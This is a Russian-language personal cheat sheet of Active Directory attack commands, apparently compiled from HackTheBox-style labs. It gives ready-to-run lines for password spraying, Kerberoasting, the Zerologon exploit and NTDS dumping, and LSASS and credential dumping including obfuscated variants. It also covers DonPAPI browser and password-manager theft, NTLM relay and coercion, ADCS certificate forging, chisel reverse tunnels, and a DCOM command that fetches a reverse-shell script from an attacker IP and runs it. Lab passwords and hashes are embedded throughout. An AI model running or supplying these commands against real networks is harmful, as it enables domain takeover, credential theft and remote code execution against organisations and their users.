deb https://mirror.truenetwork.ru/kali kali-rolling main non-free contrib
https://0xma.github.io/hacking/metasploit_privilege_escalation.html
use post/multi/recon/local_exploit_suggester
faketime "$(ntpdate -q nanocorp.htb | awk '{print $1" "$2}')" bash
10.0.0.0/8
172.16.0.0/12 172.16.0.0-172.31.255.255
192.168.0.0/16
1. Основная самая лучшая справка по Active Directory:
https://orange-cyberdefense.github.io/ocd-mindmaps/img/mindmap_ad_dark_classic_2025.03.excalidraw.svg
2. Основные утилиты, которые необходимы (и на которые стоит обратить внимание в гите выше):
1) nmap / masscan
2) netdiscover
3) nxc (netexec) - лучший швейцарский нож, который умеет делать почти всё.
4) impacket - отсюда иногда нужна небольшая группа утилит на полуение билетов. В целом остальное умеет всё nxc.
5) certipy-ad - атаки на ADCS.
6) ntlmrelayx
7) утилиты на конткретные уязвимости: "zerologon", "printnightmare", "ms17-010", coerce-уязвимости ("petitpotam", "printerbug"). Чаще всего это либо metasploit, либо скрипты с гитхаба.
8) утилита для атаки timeroasting (timeroast.py).
9) связка утилиты nxc --bloodhound + bloodhound + ADMiner
10) утилиты rubeus, bloodyad, mimikatz для локального повышения привилегий (если попали на машину не админом).
11) утилиты responder для перехвата NetNTLM-хешей
3. По уязвимостям и инструментам что следует почитать:
1) Документацию по утилите netexec: https://www.netexec.wiki
2) Уязвимости по ACDS (для утилиты certipy):
https://habr.com/ru/companies/jetinfosystems/articles/846066/
https://habr.com/ru/companies/pt/articles/916888/
3) Курс по Kerberos:
https://ardent101.github.io
4) Документация по Impacket:
https://wadcoms.github.io/wadcoms/Impacket-GetUserSPNs/
и пример использования: https://habr.com/ru/companies/ruvds/articles/743444/
5) Цикл статей на использование NTLM-Relay:
https://habr.com/ru/companies/otus/articles/745648/
6) Некоторые атаки на AD, только утилиты не смотрите. Почти всё умеет делать nxc:
https://codeby.net/threads/10-metodov-atak-na-active-directory-uglublennyi-razbor-i-zashchita.85281/
Общий сценарий:
1) Сканим сеть на порты + пробуем трансфер зоны DNS, перебор PTR DNS записей + responder.
2) Если поймал Responder хеши - в брут (перебор) на видеокартах.
3) Основная цель - найти первую учетку.
Null-session, guest(Гость), пробуем найти pre2k-машины (когда логин и пароль машинных учетных записей совпадают), пробуем выгрузить логины.
4) Если учетки получили, можно попробовать:
- подобрать пароль (password spraying) ~ 1 попытка в 10 минут, чтобы не заблокировать. К примеру пустые пароли, пароль = логину, пароль 123.
- пробуем ASREPRoasting.
5) Если учеток нет - ищем уязвимые машины в сети (VNC, telnet, web-уязвимости, иные уязвимости).
6) Если добыли учетку - сгружаем BloodHound, строим дополнительно отчет в ADMiner (лично мне нравится оно), ппросто изучаем куда можно ходить с RDP, можем ли RDCD/Constrained/Unonstrained делегирование.
Заново запрашиваем pre2k.
Обходим все машины на поиск coerce-уязвимостей.
Дальше только просто анализировать отношения между учетными записями и что/где мы можем сделать.
Собственно чаще всего самое сложное - найти первую учетку.
Дальше - придумать как поднять права (RDP / nxc / доступ к шарам + rubeus, bloodyad, mimikatz)
nxc smb 192.168.50.0/24 поиск все машин
nslookup -type=SRV _ldap._tcp.dc._msdcs.game.ru 192.168.50.100 (один из котроллеров для поиска всех котроллеров)
* Создание krb5.conf и получение tgt и кербероастинг с помощью nxc (https://github.com/Pennyw0rth/NetExec)
(получение krb5.conf) nxc smb dc01.mirage.htb -d mirage.htb -k --generate-krb5-file krb5.conf
sudo mv krb5.conf /etc/krb5.conf
(asreproasting) nxc ldap -u users.txt -d mirage.htb -k --asreproast asreprotuser.txt dc01.mirage.htb
(керберостинг с nxc) nxc ldap -u david.jjackson -p 'pN8kQmn6b86!1234@' -d mirage.htb -k --kerberoasting kerberoastables.txt dc01.mirage.htb
# Перечисление учетных записей с привилегиями gMSA
nxc winrm dc01.inlanefreight.htb -u robert -p Inlanefreight01! -X "Get-ADServiceAccount -Filter * -Properties
(чтение GMSA) nxc ldap dc01.mirage.htb -u javier.mmarshall -p 'Password123' -k --gmsa
(Поиск учетных записей в объектах групповой политики)
nxc smb <IP-адрес> -u <имя_пользователя> -p <пароль> -M gpp_autologin
nxc smb <IP-адрес> -u <имя_пользователя> -p <пароль> -M gpp_password
(получение tgt) nxc smb -u nathan.aadam -p '3edc#EDC3' -d mirage.htb -k --generate-tgt nathan.aadam dc01.mirage.htb
(Нахождение делегирования) nxc ldap 10.10.11.78 -u mark.bbond -p '1day@atime' -k --trusted-for-delegation --find-delegation
(Нахождение доверительных доменов) nxc ldap -u john.w -p 'RFulUtONCOL!' -d darkzero.htb dc01.darkzero.htb --dc-list
(поиск центра сертификации) crackmapexec ldap 'dc.sequel.htb' -d 'sequel.htb' -u 'Ryan.Cooper' -p 'NuclearMosquito3' -M adcs
(Уязвимые для атак перенаправления серверы ) nxc smb 10.10.1.50 -u kemг -p password -M coersce_plus
proxychains nxc smb DC01 -u svc_sql -p 'jkhnrjk123!' -M coerce_plus -o LISTENER=srv01 ALWAYS=TRUE
nxc smb dc1.corp.com -u '' -p '' -M zerologon (git clone https://github.com/dirkjanm/CVE-2020-1472 -q)
---proxychains4 -q python3 cve-2020-1472-exploit.py dc01 172.16.10.3
---nxc smb 172.16.10.3 -u 'DC01$' -p '' --ntds
nxc smb dc1.corp.com -u '' -p '' -M printnightmare
(скрипт проверки найтмор) /printnightmare -check dc.com.com/user\@termit-win(хост) -no-pass -k
(Проверка уязвимости ShadowCoerce) nxc smb 172.16.10.3 -u carole.holmes -p 'Y3t4n0th3rP4ssw0rd' -M shadowcoerce
(CVE-2020-0796, также известная как SMBGhost ) nxc smb dc1.corp.com -u '' -p '' -M smbghost
(petip potam) nxc smb dc1.corp.com -u '' -p '' -M coerce_plus
(проверяем нопак) netexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac (--https://github.com/waterrr/noPac)
(MS17-010 (EternalBlue)) crackmapexec smb 172.16.10.3 -M ms17-010
(квота машин в домене) nxc ldap dc1.corp.com -u 'user' -p 'passs' -k --use-kcache -M maq
(список компов с) /printnightmare -list dc.com.com/user\@termit-win(хост) -no-pass -k
(LDAP Relay и подписи) nxc ldap dc1.corp.com -u 'user' -p 'passs' -k --use-kcache -M ldap-checker
(атака Pre2k) nxc ldap dc_control.do.com -u 'comp' -k --use-kcache -M pre2k
(посмотреть все компы в сети) nxc smb <dc> -u '' -p '' --computers
(атака timeroasting) nxc smb rustykey.htb -M timeroast
(поиск антивирусов) nxc smb dc1.corp.com -u 'administrator' -p 'password' -M enum_av
(дамп хранилища Lsa) nxc smb dc1.corp.com -u 'administrator' -p 'password' --lsa (дамп хранилища Lsa)
nxc smb dc1.corp.com -u 'administrator' -p 'password' --sam
nxc smb dc1.corp.com -u 'administrator' -p 'password' --ntds --user krbtg
(тоже) nxc smb dc1.corp.com -u 'administrator' -p 'password' -M ntdsutil
(тоже) nxc smb dc1.corp.com -u 'administrator' -p 'password' -M lsassy
(тоже но скрытнное) nxc smb 10.10.11.76 -u user -p pass -M nanodump
(тоже но скрытнное) nxc smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -M procdump
(тоже еще и обфусцированое) crackmapexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -M handlekatz
((получение кредов из браузеров)) mxc smb ss.banki.htb -u boss -p "password" -d banki.htb --dpapi
pipx install git+https://github.com/login-securite/DonPAPI.git
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL {target_lists} (--fetch-pvk)
DonPAPI.py domain/user:passw0rd@target
donpapi gui
donpapi collect -d DOMAIN -u USERNAME -p PASSWORD -c Certificates,Chromium,CloudCredentials,CredMan,Firefox,IDEProjects,MRemoteNG,MobaXTerm,NotepadPP,PasswordManagers,PowerShellHistory,RDCMan,SCCM,SSHSecrets,VNC,Vaults,VersionControlSystems,Wam,Wifi -t 445_IP_FILE_LIST
donpapi gui --bind 0.0.0.0
(пароли локальных администраторов) nxc ldap dc -u administrator -p password -d . -M laps
(получить sid домена) nxc ldap dc1.corp.com -u 'administrator' -p 'password' -k --get-sid
(брутит пользователей домена) nxc smb razor.thm -u wili -p poteto --rid-brute
(Показать всех пользователей домена) nxc smb 10.10.10.248 -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --users
(показать ктов группе) proxychains -q nxc ldap 172.16.19.3 -u jimmy -p 'jimmy_001' --groups "src_management"
(показать инфо о пользователе) nxc ldap 172.16.19.3 -u jimmy -p 'jimmy_001' --users jimmy
(используя модуль spider_plus просмотреть шары и скачать /tmp/nxc_hosted/nxc_spider_plus/<IP-адрес_цели>/)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M spider_plus --spider SYSVOL --spider-folder Policies -o DOWNLOAD_FLAG=True
(нахождение shares) nxc smb TARGET -u USER -p PASS -x "dir C:\\" --codec cp866
(Чтение дисков на компах с русским языком) nxc smb TARGET -u USER -p PASS -x "dir C:\\" --codec cp866
(нахождение локальных админов) crackmapexec smb 192.168.50.110 -u 'Administrator' -p 'Password321' --local-auth
(Пользователи залогиненные на компе) sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users
# SHARES
# Использование функции «Паук» для поиска файлов, содержащих "txt"
nxc smb 10.129.203.121 -u grace -p Inlanefreight01! --spider IT --pattern txt
#Вывести список всех файлов и папок в общей папке ИТ.
nxc smb 10.129.204.177 -u grace -p Inlanefreight01! --spider IT --regex .
# Поиск содержимого в файле
(Ищем слово Encrypt в шаре IT) nxc smb 10.129.204.177 -u grace -p Inlanefreight01! --spider IT --content --regex Encrypt
# Получение файла из общей папки
nxc smb 10.129.203.121 -u grace -p Inlanefreight01! --share IT --get-file Creds.txt Creds.txt
# Отправка файла в общую папку
nxc smb 10.129.203.121 -u grace -p Inlanefreight01! --share IT --put-file /etc/passwd passwd [--smb-timeout 3]
# Отправка файла по пути
nxc smb 10.129.203.121 -u grace -p Inlanefreight01! --put-file ./chisel.exe \\Windows\\Temp\\chisel.exe
nxc smb 10.129.204.178 -u robert -p 'Inlanefreight01!' --put-file ./chisel.exe \\Windows\\Temp\\chisel.exe
./chisel server --reverse
nxc smb 10.129.204.178 -u robert -p 'Inlanefreight01!' -x "C:\Windows\Temp\chisel.exe client 10.10.15.118:8080 R:socks"
# список файлов доступных пользователю c загрукзой
mxc smb 10.129.203.121 -u grace -p Inlanefreight01! -M spider_plus -o EXCLUDE_DIR=ADMIN$,IPC$,print$,NETLOGON,SYSVOL READ_ONLY=false
# RELAY
# рассылка линков по открытым шарам
proxychains4 -q crackmapexec smb 172.16.1.10 -u grace -p Inlanefreight01! -M slinky -o SERVER=10.10.14.33 NAME=important
proxychains4 -q crackmapexec smb 172.16.1.10 -u grace -p Inlanefreight01! -M drop-sc -o URL=\\\\10.10.14.33\\secret SHARE=IT-Tools FILENAME=secret
# очистка
proxychains4 -q crackmapexec smb 172.16.1.10 -u grace -p Inlanefreight01! -M slinky -o NAME=important CLEANUP=YES
proxychains4 -q crackmapexec smb 172.16.1.10 -u grace -p Inlanefreight01! -M drop-sc -o CLEANUP=True FILENAME=secret
# ретрансляция
sudo proxychains4 -q ntlmrelayx.py -tf relay.txt -smb2support --no-http
# Для какой учетной записи ---> password-not-required
crackmapexec ldap <target> -u <u> -p <p> --password-not-required
# Перечисление учетных записей с привилегиями gMSA
nxc winrm dc01.inlanefreight.htb -u robert -p Inlanefreight01! -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"
# Получение пароля gMSA
crackmapexec ldap dc01.inlanefreight.htb -u engels -p Inlanefreight1998! --gmsa
# PowerShell Command Execution via WinRM etc...
nxc smb winrm 10.129.204.133 -u robert -p 'Inlanefreight01!' -X '$PSVersionTable'
# Command Execution with SSH Using a Private Key
nxc ssh 10.129.204.133 -u julio --key-file id_ed25519 -p "" -x whoami
# Получение записей с DNS сервера
crackmapexec ldap dc01.inlanefreight.htb -u julio -p Password1 -M get-network -o ALL=true
# число сетевых интерфейсов на машинах
crackmapexec smb 10.129.203.121 -u julio -p Password1 -M get_netconnections
crackmapexec smb 10.129.203.121 -u julio -p Password1 -M ioxidresolver
# keepass_discover
crackmapexec smb 10.129.203.121 -u julio -p Password1 -M keepass_discover
# Выполнение команды keeppass_trigger ALL одним действием.
nxc smb 10.129.204.177 -u julio -p Password1 -M keepass_trigger -o ACTION=ALL KEEPASS_CONFIG_PATH=C:\\Users\\david\\AppData\\Roaming\ \KeePass\\KeePass.config.xml (необходимо ждать пока пользователь войдет в кипасс)
# Очистка изменений в конфигурационном файле
crackmapexec smb 10.129.203.121 -u julio -p Password1 -M keepass_trigger -o ACTION=CLEAN KEEPASS_CONFIG_PATH=C:/Users/julio/AppData/Roaming/KeePass/KeePass.config.xml
# Загрузка и выгрузка файлов из MSSQL
nxc mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth --put-file /etc/passwd C:/Users/Public/passwd
nxc mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -x "dir c:\Users\Public"
# Повышение привилегий в MSSQL
nxc mssql -M mssql_priv --options
mssql_priv --> EXECUTE AS LOGIN и db_owner role (использует 2 метода)
enum_privs для отображения списка привилегий (по умолчанию),
nxc mssql 10.129.203.121 -u robert -p Inlanefreight01! -M mssql_priv
nxc mssql 10.129.203.121 -u robert -p Inlanefreight01! -M mssql_priv -o ACTION=privesc
# Выполнение команд и отмена привилегий
nxc mssql 10.129.203.121 -u robert -p Inlanefreight01! -x whoami
(возвращение привелегий )nxc mssql 10.129.203.121 -u robert -p Inlanefreight01! -M mssql_priv -o ACTION=rollback
# SQL-запросы
nxc mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -q "SELECT name FROM master.dbo.sysdatabases"
nxc mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -q "SELECT table_name from core_app.INFORMATION_SCHEMA.TABLES"
nxc mssql 10.129.203.121 -u nicole -p Inlanefreight02! --local-auth -q "SELECT * from [core_app].[dbo].tbl_users"
faketime "$(ntpdate -q voleur.htb | awk '{print $1" "$2}')" bash (меняем время прям в терм)
sudo timedatectl set-ntp off
sudo timedatectl set-ntp false
sudo timedatectl set-time '20:20:10'
sudo date --set="2022-01-01 12:00:00"
sudo net time set -S 10.10.11.181
sudo ntpdate
sudo ntpdate -s 10.10.10.248
-
Pre2k
nxc ldap dc_control.do.com -u 'comp' -k --use-kcache -M pre2k -
Timeroast
nxc smb rustykey.htb -M timeroast Можно руками выписать тикеты в файл hash.txt, но я сделал это вот такой командой: nxc smb rustykey.htb -M timeroast | grep -oP '\d+:\$sntp-ms\$[^\s]+' > hash.txt cut -d ':' -f2- hash.txt > clean_hash.txt Для брутфорса этого режима нам понадобится beta-версия hashcat, скачаем и установим ее: mkdir -p ~/apps/hashcat-beta cd ~/apps/hashcat-beta wget https://hashcat.net/beta/hashcat-6.2.6%2B1051.7z 7z x hashcat-6.2.6+1051.7z Теперь запустим брутфорс тикетов и получим пароль от RID 1125 — IT-COMPUTER3: $ ~/apps/hashcat-beta/hashcat-6.2.6/hashcat.bin -a 0 -m 31300 clean_hash.txt /usr/share/wordlists/rockyou.txt $sntp-ms$10bd1bdf13cc0f08fc665434ba9b0211$1c0111e900000000000a14f74c4f434cec0ba8b241da597de1b84 -
Shares Enum (smb/cifs/nfs)
crackmapexec smb 192.168.2.123 -p '' -u '' --shares crackmapexec smb 192.168.2.123 -p 'jksdfhgv' -u '' -M spider_plus nxc smb -d voleur.htb --use-kcache dc.voleur.htb --share IT --get-file "First-Line Support/Access_Review.xlsx" Access_Review.xlsx cat 192.168.134.10.json | jq '. | map_values(keys)' crackmapexec smb hosts_r.txt -u '' -p '' --get-file \\kanban\pkb.zip pkb.zip Snaffler.exe -s -o snaffler_output.log -d test.local -c 10.10.10.1 * Кроме smb cifs ---> NFS На порту 2049 (UDP) видим NFS. showmount -e mirage.htb Я воспользуюсь nfsshell: # соберем nfsshell sudo apt install libreadline-dev libtirpc-dev -y git clone https://github.com/Supermathie/nfsshell cd nfsshell make sudo mv nfsshell /usr/local/bin cd .. rm -rf nfsshell Скачаем файлы с NFS: $ nfsshell nfs> host mirage.htb nfs> dump 10.10.10.40:/MirageReports 10.10.10.40:/nfs_share nfs> mount MirageReports nfs> ls -
Trasfer DNS ZONE and DNS recon
nslookup -type=SRV _ldap._tcp.dc._msdcs.dgg.tgg.zazpbom.ru (домен dgg.tgg.zazpbom.ru - поиск контроллеров домена) Общее перечисление SRV-записей с контроллера домена dc2.dgg.game.ru nslookup -type=SRV _ldap._tcp.dc._msdcs.game.ru (game.ru) домен nslookup -type=SRV _ldap._tcp.dc._msdcs.game.ru 192.168.50.100 (один из котроллеров для поиска всех котроллеров) dig @10.10.11.5 freelancer.htb axfr (dns-server domain) dig @<ip> <домен> NS Смотрим в DNS в ptr записи: dnsrecon -r 192.168.0.0/16 -n 192.168.2.11 - (dns server) (Обратный обход (Reverse Lookup) диапазона IP-адресов для поиска PTR-записей) dnsrecon -d bank.htb -a -n 192.168.2.37 -(dns server) (Метод «прямого запроса»: Запрашивает у конкретного DNS-сервера полную копию его зоны для домена.) 1) Смотрим в DNS в ptr записи: dnsrecon -r 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (но поочереди) sudo arp-scan --localnet (arp сканирование сети) nslookup > server 10.10.10.248 Default server: 10.10.10.248 Address: 10.10.10.248#53 > svc_int.intelligence.htb Server: 10.10.10.248 Address: 10.10.10.248#53
vim /etc/hosts/ ----> 10.129.203.6 inlanefreight.htb
subfinder -d inlanefreight.com -v
git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
cd subbrute
echo "ns1.inlanefreight.com" > ./resolvers.txt
./subbrute.py inlanefreight.com -s ./names.txt -r ./resolvers.txt
dnstool.py -u 'intelligence\Tiffany.Molina' -p NewIntelligenceCorpUser9876 10.10.10.248 -a add -r web1 -d 10.10.14.58 -t A (создание ДНС записи в домене)
-
Recon Lan
10.0.0.0/8 (маска 255.0.0.0) 172.16.0.0/12 (маска 255.240.0.0) 192.168.0.0/16 (маска 255.255.0.0) fping -ag 10.129.203.0/24 2>/dev/null sudo netdiscover -r 10.129.203.0/24 sudo netdiscover -i eth0 sudo masscan -p1-1000 10.129.203.0/24 --rate=1000 sudo masscan -p1-1000 10.129.203.6 -oG masscan_results.txt # В формате XML sudo masscan -p1-10000 10.129.203.6 -oX masscan_results.xml # В формате JSON sudo masscan -p1-10000 10.129.203.6 -oJ masscan_results.json # Вывод только открытых портов sudo masscan -p1-10000 10.129.203.6 --open-only # Извлечение только IP и портов grep "open" masscan_results.txt | awk '{print $4, $3}' sudo masscan -p21,22,23,25,53,80,88,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080,8443,9000,9001,10000,513,514,515,548,587,626,993,995,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044 192.168.0.0/24 (-iL hosts.txt) -oG masscan_results.txt --rate 2000 grep "open" masscan_results.txt | awk '{print $4, $7}' | cut -d'/' -f1 # Извлечь IP:порт для последующего сканирования Nmap grep "open" masscan_results.txt | awk -F" " '{print $4}' | awk -F"/" '{print $1}' > nmap_targets.txt # Затем использовать с Nmap nmap -sV -sC -iL nmap_targets.txt -oA scan_results -
DNS resolver
Файл /etc/resolv.conf — это конфигурационный файл DNS-резолвера nameserver 10.28.16.3 nameserver 10.28.16.1 search dgg.zazrom.htb nameserver 10.28.16.3 и nameserver 10.28.16.1 (Это IP-адреса DNS-серверов, которые ваша система использует для разрешения доменных имен. Система будет обращаться к ним в порядке очередности: сначала к 10.28.16.3, если он недоступен — к 10.28.16.1.) search dgg.zazrom.htb -резлв коротких имен -
user found - with Kerbrute
https://github.com/insidetrust/statistically-likely-usernames (списки юзеров) sudo git clone https://github.com/ropnop/kerbrute.git (репозиторий кербрут) kerbrute userenum --dc 172.16.5.5 -d INLANEFREIGHT.LOCAL /opt/jsmith.txt (пример комманды) - with crackmapexec crackmapexec smb 10.10.10.10 -p "anonymous" -p '' --rid-brute - with RPCCLIENT rpcclient -U '' -N 10.10.10.169 -
MultiCast enum
sudo responder -I ens224 sudo responder -I ens224 --lm sudo responder -I ens224 -wdF (ответ собирается в /usr/share/responder/logs) /usr/share/responder/Responder.conf -
kerbrute
~/kerbrute_linux_amd64 userenum users.txt --dc 192.168.50.110 -d vd.local -
not_preauth
impacket-GetNPUsers -dc-ip 192.168.50.110 vd.local/ -usersfile users.txt | grep '$krb' .\Rubeus.exe asreproast /user:carole.rose /domain:inlanefreight.local /dc:dc01.inlanefreight.local /nowrap -----Kerberoasting without credentials python3 -m venv impacket-fork source ./impacket-fork/bin/activate git clone https://github.com/ThePorgs/impacket.git cd impacket python3 setup.py install GetUserSPNs.py -no-preauth jjones (not preauth user) -request -usersfile ../usernames.txt rebound.htb/ -dc-ip 10.10.11.231 -
validate creds
rdp, winrm, smb crackmapexec rdp 192.168.50.110 -u 'nancy.carline' -p 'cowboys' -
local admin
crackmapexec smb 192.168.50.110 -u 'Administrator' -p 'Password321' --local-auth -
Users auth on host
sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users -
Password policies
crackmapexec smb 192.168.50.110 -u 'albertina.albertina' -p animal --pass-pol -
Password Spray
crackmapexec smb 192.168.50.110 -u users.txt -p passwords.txt --continue-on-success (in windows) https://github.com/dafthack/DomainPasswordSpray Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue -
Ldapdomaindump (1 05)
ldapdomaindump -u 'vd.local\albertina.albertina' -p animal 192.168.50.110 from users.json bloodhount cat 20240201210210_users.json|jq '.data[].Properties | .samaccountname + ":" + .description' -r -
Description whitch RPCCLIENT
rpcclient -U '' -N 10.10.10.169 rpcclient $> querydispinfo -
Change Password
impacket-changepasswd 'vd.local/lamont.sibeal:passwd'@192.168.50.110 -newpass 'Password123' -
Bloodhoundlist
bloodhound-python -d vd.local -u lamont.sibeal -p Password123 -c all --dns-tcp -ns 192.168.50.110 bloodhound-python -d htb.local -ns 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' -c all bloodhound-python -u ldap_monitor -p '1GR8t@$$4u' -d rebound.htb -dc dc01.rebound.htb --zip -c Group,LocalAdmin,RDP,DCOM,Container,PSRemote,Session,Acl,Trusts,LoggedOn -ns 10.10.11.231 Запуск cd /usr/bin && sudo ./neo4j console cd /home/max/BloodHound-linux-x64_new && ./BloodHound --no-sandbox cat 20240201210210_users.json|jq '.data[].Properties | .samaccountname + ":" + .description' -r -
spn (Kerberoasting)
----ntlm impacket-GetUserSPNs -dc-ip 192.168.50.110 vd.local/arly.ayn:Password123 -request -----kerberos impacket-getTGT voleur.htb/ryan.naylor:HollowOct31Nyt export KRB5CCNAME=ryan.naylor.ccache impacket-GetUserSPNs -dc-ip 10.10.11.76 -dc-host dc.voleur.htb voleur.htb/ryan.naylor -k -no-pass -request ---nxc -делает все nxc ldap dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k --kerberoasting kerberoastables.txt .\Rubeus.exe kerberoast /stats .\Rubeus.exe kerberoast /nowrap /tgtdeleg -
DCOM Abusing
impacket-dcomexec -object MMC20 -silentcommand -debug jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell.exe Invoke-WebRequest -Uri http://10.10.14.94:80/Invoke-PowerShellTcp.ps1 -OutFile C:\Windows\TEMP\shell.ps1' (выполнение комманд - загрузка скрипта) impacket-dcomexec -object MMC20 -silentcommand -debug jab.htb/svc_openfire:'!@#$%^&*(1qazxsw'@10.10.11.4 'powershell.exe C:\Windows\TEMP\shell.ps1'
#Запрос сертификатата для user
.\Certify.exe._obf.exe request /ca:DC01\mist-DC01-CA /template:user
openssl pkcs12 -in brandon.keywrap.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
mv cert.pfx brandon.keywrap.pfx
.\Rubeus.exe._obf.exe asktgt /user:brandon.keywarp /certificate:brandon.keywrap.pfx /getcredentials /show /nowrap
https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation
*** Поиск центра сертификации
crackmapexec ldap 'dc.sequel.htb' -d 'sequel.htb' -u 'Ryan.Cooper' -p 'NuclearMosquito3' -M adcs
crackmapexec ldap 172.16.117.3 -u administrator -H d1e532fdcdea711011a6b13bcf390401 -M adcs -o SERVER=INLANEFREIGHT-DC01-CA (поиск шаблонов сертификатов)
Копирование корневого сертификата (если есть права)
certutil -exportPFX my "Certificate-LTD-CA" ca.pfx (Certificate-LTD-CA - из вывода certipy)
*** Поиск уязвимых шаблонов
https://github.com/ly4k/Certipy?tab=readme-ov-file
pip3 install -U certipy-ad
certipy find -enabled -u 'plaintext$'@172.16.117.3 -p 'o6@ekK5#rlw2rAe' -stdout (проверка уязвимых сертификатов)
certipy find -u blwasp@lab.local -p Password123! -dc-ip 10.129.228.236 -vulnerable -stdout (работает)
certipy-ad find -enabled -u svc_ldap@authority.htb -p lDaP_1n_th3_cle4r! -dc-ip 10.10.11.222
сertipy-ad find -u 'ryan.cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip '10.10.11.202' -vulnerable -stdout -debug
.\Certify.exe find /vulnerable
****** создает поддельный сертификат, используя доверенный корневой сертификат CA
certipy forge -ca-pfx ca.pfx -upn administrator@certificate.htb -subject "CN=Administrator,CN=Users,DC=certificate,DC=htb" -out administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip $(cat /etc/hosts | grep certificate.htb | cut -d ' ' -f 1)
*** ESC1 - 1. Запрс сертификата для administrator
.\certify request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
certipy-ad req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target dc1.sequel.htb -ca sequel-dc-ca -template UserAuthentication -debug
ESC1 - 2. Получаем TGT и хеш администратора на основе сертификата
.\rubeus asktgt /user:administrator /certificate:administrator.pfx /getcredentials /nowrap
Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
cd .\Invoke-TheHash\;Import-Module .\Invoke-TheHash.psm1
PS C:\Tools> Invoke-TheHash -Type SMBExec -Target localhost -Username Administrator -Hash 2b576acbe6bcfda7294d6bd18041b8fe -Command "net localgroup Administrators grace /add"
certipy-ad req -ca 'CA-CA' -dc-ip 10.12.112.4 -u 'GDKJHB16100304$' -hashes 'c0eead2be2af489765t3d9165637cdadb0e94e44' -template 'template' -target 'fqdn_ca' -upn 'administrator@kaban.zazprom.ru' -sid 'S-1-5-21-73586283-32r23323-060284298-500'
certipy-ad auth -pfx administrator.pfx
certipy auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.205.199
*** ESC3 - запрос сертификата на основании другого сертификата
certipy-ad req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC3 -dc-ip 10.129.56.123 (создаем сертификат)
certipy req -u 'blwasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template 'User' -on-behalf-of 'lab\administrator' -pfx blwasp.pfx (запрашиваем сертификат на основе другого сертификата)
certipy-ad req -u 'blwasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template 'User' -on-behalf-of 'lab\haris' -pfx blwasp.pfx -dc-ip 10.129.56.123
certipy-ad auth -pfx administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.56.123
export KRB5CCNAME=administrator.ccache
impacket-smbexec -k -no-pass LAB-DC.LAB.LOCAL
certipy-ad auth -pfx sql.pfx
*********************Еще вариант
Выпишем PFX от имени fernando.r (выполняем атаку ESC3):
impacket-getTGT hercules.htb/fernando.r:'Prettyprincess123!'
export KRB5CCNAME=fernando.r.ccache
certipy-ad req -k -upn fernando.r@hercules.htb -dc-ip 10.129.242.196 -dc-host dc.hercules.htb -target DC.hercules.htb -ca CA-HERCULES -template EnrollmentAgentOffline -application-policies 'Client Authentication' -dcom
А теперь от его имени на имя ashley.b:
certipy-ad req -u "fernando.r@hercules.htb" -k -no-pass -dc-ip 10.129.242.196 -dc-host dc.hercules.htb -target "dc.hercules.htb" -ca 'CA-HERCULES' -template "User" -pfx fernando.r.pfx -on-behalf-of "hercules\ashley.b" -dcom
Выпишем тикет на ashley.b и подключимся за нее:
certipy-ad auth -pfx ashley.b.pfx -dc-ip $(cat /etc/hosts | grep hercules.htb | cut -d ' ' -f 1)
export KRB5CCNAME=ashley.b.ccache
python3 winrmexec/evil_winrmexec.py -ssl -port 5986 -k -no-pass dc.hercules.htb
*** ESC4 - возможность изменить шаблон сертификата чтобы использовать его как ESC1
certipy find -u 'blwasp@lab.local' -p 'Password123!' -dc-ip 10.129.205.199 -vulnerable -stdout
certipy template -u 'BlWasp@lab.local' -p 'Password123!' -template ESC4 -save-old (меняем в шаблоне все мешающие флаги)
certipy req -u 'BlWasp@lab.local' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC4 -upn Administrator
certipy auth -pfx administrator.pfx -username Administrator -domain lab.local
certipy template -u 'BlWasp@lab.local' -p 'Password123!' -template ESC4 -configuration ESC4.json (вернем шаблон обратно)
*** ESC5 Чтобы злоупотреблять ESC5, нам необходимо иметь права на учетную запись, которая имеет привилегии на объекты AD- local ADMINISTRATOR ADCS, включая (но не ограничиваясь ими):
Компьютерный объект AD сервера CA - Администратор локальный (т. е. компрометация через S4U2self или S4U2proxy).
Сервер RPC /DCOM сервера CA.
